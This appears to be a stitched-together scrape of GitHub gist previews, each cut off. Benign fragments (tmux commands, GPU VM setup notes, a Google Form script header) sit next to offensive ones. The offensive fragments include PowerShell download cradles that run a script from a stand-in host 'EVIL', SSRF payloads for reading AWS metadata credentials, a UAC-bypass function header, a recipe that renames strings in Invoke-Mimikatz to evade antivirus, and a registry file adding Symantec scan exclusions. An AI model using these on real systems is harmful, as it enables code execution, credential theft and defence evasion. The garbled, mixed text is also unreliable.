start new:
tmux
start new with session name:
tmux new -s myname
# normal download cradle | |
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
# PowerShell 3.0+ | |
IEX (iwr 'http://EVIL/evil.ps1') | |
# hidden IE com object | |
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
# Msxml2.XMLHTTP COM object |
## IPv6 Tests | |
http://[::ffff:169.254.169.254] | |
http://[0:0:0:0:0:ffff:169.254.169.254] | |
## AWS | |
# Amazon Web Services (No Header Required) | |
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories | |
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy | |
http://169.254.169.254/latest/user-data | |
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] |
function Invoke-UACBypass { | |
<# | |
.SYNOPSIS | |
Bypasses UAC on Windows 10 by abusing the SilentCleanup task to win a race condition, allowing for a DLL hijack without a privileged file copy. | |
Author: Matthew Graeber (@mattifestation), Matt Nelson (@enigma0x3) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
Optional Dependencies: None |
FWIW: I (@rondy) am not the creator of the content shared here, which is an excerpt from Edmond Lau's book. I simply copied and pasted it from another location and saved it as a personal note, before it gained popularity on news.ycombinator.com. Unfortunately, I cannot recall the exact origin of the original source, nor was I able to find the author's name, so I am can't provide the appropriate credits.
In February 2017, Google announced the availability GPU-based VMs. I spun up a few of these instances, and ran some benchmarks. Along the way, I wrote down the steps taken to provision these VM instances, and install relevant drivers.
Update April 2019: Updated instructions to use instances with the Tesla T4 GPUs.
. | |
.. | |
........ | |
@ | |
* | |
*.* | |
*.*.* | |
🎠|
# AV Bypass to run Mimikatz | |
# From: https://www.blackhillsinfosec.com/?p=5555 | |
# Server side: | |
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 | |
sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1 | |
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1 | |
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1 | |
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1 | |
sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1 |
/* | |
From the Google Form, go to script editor. Enter this code. | |
You will need: | |
Calendar ID | |
Form ID | |
License: | |
Share — copy and redistribute the material in any medium or format | |
Adapt — remix, transform, and build upon the material for any purpose, even commercially. |
Windows Registry Editor Version 5.00 | |
[HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Symantec\Symantec Endpoint Protection\AV\Exclusions\ScanningEngines\Directory\Client\1733004144] | |
"Owner"=dword:00000004 | |
"ProtectionTechnology"=dword:00000001 | |
"FirstAction"=dword:00000011 | |
"SecondAction"=dword:00000011 | |
"DirectoryName"="C:\\to\\be\\excluded\\" | |
"ThreatName"="C:\\to\\be\\excluded\\" | |
"ExcludeSubDirs"=dword:00000001 |